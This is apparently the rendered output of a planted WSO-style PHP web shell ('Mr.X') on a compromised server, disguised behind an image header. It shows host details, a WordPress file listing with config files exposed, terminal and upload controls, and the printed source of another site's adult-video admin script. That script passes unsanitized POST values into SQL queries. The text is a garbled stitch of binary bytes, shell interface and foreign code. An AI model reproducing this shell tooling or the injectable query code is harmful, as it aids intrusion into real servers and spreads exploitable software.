����JFIF���������www.stoptube.com - WSOX ENC
Attention:
Uname:
Php:
Hdd:
Cwd:
Mr.X WSO Webshell! - Personal WEB SHELL Mr.X BYPASS! V2.5 Telegram: @jackleet
Linux msm5694.mjhst.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
5.3.29 Safe mode: OFF Datetime: 2026-04-08 19:44:27
1999.30 GB Free: 85.77 GB (4%)
/home/httpd/html/stoptube.com/ drwxr-xr-x [ root ] [ home ] Text

Server IP:
127.0.0.54
Client IP:
216.73.216.53
[ Files ][ Logout ]

File manager

NameSizeModifyPermissionsActions
[ . ]dir2020-10-29 21:25:34drwxr-xr-xRename Touch
[ .. ]dir2026-04-08 19:41:03drwxr-xr-xRename Touch
[ cgi-bin ]dir2012-04-08 21:15:31drwxr-xr-xRename Touch
[ public_html ]dir2023-11-10 01:29:28drwxr-xr-xRename Touch
[ stats ]dir2012-05-18 05:35:08drwxr-xr-xRename Touch
[ wp-admin ]dir2018-10-17 02:02:36drwxr-xr-xRename Touch
[ wp-content ]dir2026-04-08 17:17:21drwxrwxr-xRename Touch
[ wp-includes ]dir2018-10-17 02:02:35drwxrwxr-xRename Touch
[ wpbackup-mojo ]dir2013-09-23 12:20:27drwxr-xr-xRename Touch
120x240_2.gif13.45 KB2008-06-28 03:13:23-rw-r--r--Rename Touch Edit Download
120x240_4.gif11.19 KB2008-06-28 03:15:01-rw-r--r--Rename Touch Edit Download
google33e705b4a02b516c.html53 B2018-10-09 07:59:06-rw-r--r--Rename Touch Edit Download
google54c2bf32c9bf2083.html7 B2009-05-30 01:17:01-rw-r--r--Rename Touch Edit Download
grepsearch.php910 B2009-05-31 03:50:51-rw-r--r--Rename Touch Edit Download
index.php418 B2018-10-17 02:00:34-rw-r--r--Rename Touch Edit Download
license.txt19.47 KB2018-10-17 02:00:34-rw-r--r--Rename Touch Edit Download
readme.html7.24 KB2020-10-29 21:25:34-rw-r--r--Rename Touch Edit Download
robots.txt29 B2014-04-01 00:38:43-rw-r--r--Rename Touch Edit Download
scan_files.php3.34 KB2009-06-03 20:33:08-rw-r--r--Rename Touch Edit Download
wp-activate.php6.72 KB2018-12-13 02:57:59-rw-r--r--Rename Touch Edit Download
wp-atom.php226 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-blog-header.php364 B2018-10-17 02:02:31-rw-r--r--Rename Touch Edit Download
wp-comments-post.php1.84 KB2018-10-17 02:02:31-rw-r--r--Rename Touch Edit Download
wp-commentsrss2.php244 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-config-sample.php2.79 KB2018-10-17 02:02:31-rw-r--r--Rename Touch Edit Download
wp-config.php1.47 KB2018-10-04 12:51:18-rw-rw-r--Rename Touch Edit Download
wp-config.php_backup_ticket_5246641.30 KB2018-10-03 15:00:12-rw-r--r--Rename Touch Edit Download
wp-cron.php3.58 KB2018-10-17 02:02:31-rw-r--r--Rename Touch Edit Download
wp-feed.php246 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-links-opml.php2.37 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wp-load.php3.23 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wp-login.php36.92 KB2018-12-13 02:57:59-rw-r--r--Rename Touch Edit Download
wp-mail.php7.86 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wp-pass.php494 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-rdf.php224 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-register.php334 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-rss.php224 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-rss2.php226 B2010-12-09 18:02:54-rw-r--r--Rename Touch Edit Download
wp-settings.php15.87 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wp-signup.php29.39 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wp-trackback.php4.51 KB2018-10-17 02:02:34-rw-r--r--Rename Touch Edit Download
wpupdate.sh12.75 KB2013-09-22 17:09:27-rw-r--r--Rename Touch Edit Download
xmlrpc.php2.99 KB2018-10-17 02:02:34----------Rename Touch Edit Download
 
Change dir:
Read file:
Make dir: (Not writable)
Make file: (Not writable)
Terminal:
Upload file: (Not writable)

HEX
HEX
Server: Apache
System: Linux msm5694.mjhst.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: camjab_ssh (1000)
PHP: 5.3.29
Disabled: NONE
Upload Files
File: /home/httpd/html/putang.com/public_html/admin/add.php
<?php
require "db.php";

if (isset($_POST['formSubmit'])) {
    $_POST = array_map_array('trim', $_POST);

    if ($_POST['title'] == "") {
        setMessage('Video "Title" cannot be empty!', 'error');
    }

    if ($_POST['url'] == "") {
        setMessage('Video "URL" cannot be empty!', 'error');
    }

    if (!getMessages(false, 'error')) {
		
		if($_POST['url']) { 
			if ($_POST['type'] == 'host') {

				$new_filename = end(explode('/', $_POST['url']));
				$a = explode('?', $new_filename);
				$new_filename = $a[0];

				$filename = uniqid() . trim($new_filename);
				if (stripos($filename, '.flv') !== false) {
					$new_filename = substr($filename, 0, -4) . '.flv';
				} else {
					$new_filename = substr($filename, 0, -4) . '.mp4';
				}
				echo exec("$wget_path " . escapeshellarg(str_replace('\r', '', $_POST['url'])) . " -O \"$content_path/$filename\"");
				dbReconnect();

				$_POST['title'] = strip_tags($_POST['title']);
				$_POST['description'] = strip_tags($_POST['description']);

				$getUser = dbRow("SELECT `record_num` FROM `users` WHERE `username` = '" . mysqli_real_escape_string($dblink, $_POST['submitter']) . "'");
				$_POST['submitter'] = is_array($getUser) ? $getUser['record_num'] : 0;

				$filesize = filesize("$content_path/$filename");
				if (file_exists("$content_path/$filename") && $filesize > 0) {
					$insert_id = dbInsert('content', array(
						'length' => $_POST['length'],
						'title' => $_POST['title'],
						'filename' => $new_filename,
						'orig_filename' => $filename,
						'thumbnail' => "$filename.jpg",
						'description' => $_POST['description'],
						'keywords' => $_POST['keywords'],
						'scheduled_date' => 'NOW()',
						'date_added' => 'NOW()',
						'submitter' => $_POST['submitter'],
						'ip' => $_SERVER['REMOTE_ADDR'],
						'approved' => 0,
						'pornstars' => $_POST['pornstars'],
						'paysite' => $_POST['paysite'],
					));
					if (is_numeric($insert_id)) {
						if (count($_POST['niche']) > 0) {
							foreach ($_POST['niche'] as $niche_id) {
								dbQuery("INSERT INTO `content_niches` (`content`, `niche`) VALUES ('$insert_id', '$niche_id')");
							}
						}
						if (count($_POST['pornstar']) > 0) {
							foreach ($_POST['pornstar'] as $pornstar_id) {
								dbQuery("INSERT INTO `content_pornstars` (`content`, `pornstar`) VALUES ('$insert_id', '$pornstar_id')");
							}
						}
						setMessage('Content successfully added!');
						header("Location: ".$_SERVER['REQUEST_URI']);
						exit();
					} else {
						setMessage('Cannot create new content!', 'error');
					}
				} else {
					setMessage('Cannot save content file or file is empty!', 'error');
				}
			} else {

				$new_filename = end(explode('/', $_POST['url']));
				$a = explode('?', $new_filename);
				$new_filename = $a[0];
				$filename = uniqid() . trim($new_filename);

				if (stripos($filename, '.flv') !== false) {
					$new_filename = substr($filename, 0, -4) . '.flv';
				} else {
					$new_filename = substr($filename, 0, -4) . '.mp4';
				}
				echo exec("$wget_path " . escapeshellarg(str_replace('\r', '', $_POST['url'])) . " -O \"$content_path/$filename\"");

				dbReconnect();

				$filesize = filesize("$content_path/$filename");
				if (file_exists("$content_path/$filename") && $filesize > 0) {
					$insert_id = dbInsert('content', array(
						'length' => $_POST['length'],
						'title' => $_POST['title'],
						'filename' => $new_filename,
						'orig_filename' => $filename,
						'thumbnail' => "$filename.jpg",
						'description' => $_POST['description'],
						'keywords' => $_POST['keywords'],
						'scheduled_date' => 'NOW()',
						'date_added' => 'NOW()',
						'submitter' => $_POST['submitter'],
						'ip' => $_SERVER['REMOTE_ADDR'],
						'approved' => 0,
						'pornstars' => $_POST['pornstars'],
						'paysite' => $_POST['paysite'],
						'hotlinked' => $_POST['url'],
					));
					if (is_numeric($insert_id)) {
						if (count($_POST['niche']) > 0) {
							foreach ($_POST['niche'] as $niche_id) {
								dbQuery("INSERT INTO `content_niches` (`content`, `niche`) VALUES ('$insert_id', '$niche_id')");
							}
						}
						if (count($_POST['pornstar']) > 0) {
							foreach ($_POST['pornstar'] as $pornstar_id) {
								dbQuery("INSERT INTO `content_pornstars` (`content`, `pornstar`) VALUES ('$insert_id', '$pornstar_id')");
							}
						}
						setMessage('Content successfully added!');
						header("Location: ".$_SERVER['REQUEST_URI']);
						exit();
					} else {
						setMessage('Cannot create new content!', 'error');
					}
				} else {
					setMessage('Cannot save content file or file is empty!', 'error');
				}
			}
		} else { 
		    setMessage('Video "URL" doesn\'t return 200 OK', 'error');
		}
    }
}

entities_walk($_POST);
?>

<? require "header.php"; ?>

<div class="content-page">

    <div class="header-area">
        <div class="breadcrumbs">  
            <a href="index.php">Admin Home</a>          
            <span><a href="add.php">Add Hosted/Hotlinked</a></span>  
        </div>
    </div>

    <div class="content-outer">  

        <h2>Add<strong>Hosted/Hotlinked</strong></h2>

        <div class="notification info">You can use this page to add a single video hosted on another server. Please be sure to put the media file url in the URL box rather then a gallery or player page url. Depending on the size of the file and the speed of the source server, it may take a few moments to download. This is neccesary even if you intend to hotlink the video on the source server, as the file is required locally to create thumbnails.</div>

        <div class="content-inner">

            <? echo getMessages(); ?>

            <form method="POST" action="" enctype="multipart/form-data" class="form" novalidate autocomplete="off">
                <table class="pagetable">
                    <thead>
                        <tr>
                            <th colspan="2">Add New Hosted/Hotlinked</th>
                        </tr>
                    </thead>
                    <tbody>
                        <tr>
                            <td>Title</td>
                            <td><input name="title" type="text" required value="<? echo $_POST['title']; ?>" /></td>
                        </tr>
                        <tr>
                            <td>Description</td>
                            <td><textarea name="description" cols="45" rows="8"><? echo $_POST['description']; ?></textarea></td>
                        </tr>
                        <tr>
                            <td>Keywords</td>
                            <td><input name="keywords" type="text" value="<? echo $_POST['keywords']; ?>" /></td>
                        </tr>
                        <tr>
                            <td>Categories</td>
                            <td>
                                <select name="niche[]" multiple="multiple">
                                    <?php $results = dbQuery("SELECT `record_num`, `name` FROM `niches` ORDER BY `name`", false); ?>
                                    <?php foreach ($results as $_row) { ?>
                                        <option value="<?php echo $_row['record_num']; ?>"<? echo in_array($_row['record_num'], (array) $_POST['niche']) ? ' selected' : ''; ?>><?php echo $_row['name']; ?></option>
                                    <?php } ?>
                                </select>
                                <p class="hint">(Hold CTRL to make multiple selections)</p>
                            </td>
                        </tr>
                        <tr>
                            <td>Models</td>
                            <td>
                                <select name="pornstar[]" multiple="multiple">
                                    <?php $results = dbQuery("SELECT `record_num`, `name` FROM `pornstars` ORDER BY `name`", false); ?>
                                    <?php foreach ($results as $_row) { ?>
                                        <option value="<?php echo $_row['record_num']; ?>"<? echo in_array($_row['record_num'], (array) $_POST['pornstar']) ? ' selected' : ''; ?>><?php echo $_row['name']; ?></option>
                                    <?php } ?>
                                </select>
                                <p class="hint">(Hold CTRL to make multiple selections)</p>
                            </td>
                        </tr>
                        <tr>
                            <td>Paysite</td>
                            <td>
                                <select name="paysite">
                                    <?php $results = dbQuery("SELECT `record_num`, `name` FROM `paysites` ORDER BY `name`", false); ?>
                                    <?php foreach ($results as $_row) { ?>
                                        <option value="<?php echo $_row['record_num']; ?>"<? echo $_row['record_num'] == $_POST['paysite'] ? ' selected' : ''; ?>><?php echo $_row['name']; ?></option>
                                    <?php } ?>
                                </select>
                            </td>
                        </tr>
                        <tr>
                            <td>User</td>
                            <td>
                                <input type="text" name="submitter" id="contentAutocomplete" value="<? echo $_POST['submitter']; ?>" placeholder="Start typing username..." />
                                <script type="text/javascript">
                                    $(document).ready(function () {
                                        $("#contentAutocomplete").autocomplete({
                                            source: "search_content.php?type=2",
                                            minLength: 2
                                        });
                                    });
                                </script>
                            </td>
                        </tr>
                        <tr>
                            <td>Video File URL</td>
                            <td><input name="url" type="text" value="<? echo $_POST['url']; ?>" required /></td>
                        </tr>
                        <tr>
                            <td>Add Type</td>
                            <td>
                                <select name="type">
                                    <option value="host"<? echo $_POST['type'] == 'host' ? ' selected' : ''; ?>>Host</option>
                                    <option value="hotlink"<? echo $_POST['type'] == 'hotlink' ? ' selected' : ''; ?>>Hotlink</option>
                                </select>
                            </td>
                        </tr>
                        <tr class="item submit">
                            <td colspan="2">
                                <input type="hidden" name="formSubmit" value="1" />
                                <button type="submit" class="btn action-save">Save</button>
                            </td>
                        </tr>
                        <tr>
                            <td colspan="2">
                                <div class="notification info">Please hit submit only once! Depending on the size of the file and the speed of the source server, it may take a few moments to download. This is neccesary even if you intend to hotlink the video on the source server, as the file is required locally to create thumbnails.</div>
                            </td>
                        </tr>
                    </tbody>
                </table>
            </form>
        </div>
    </div>
</div>
<?php require "footer.php"; ?>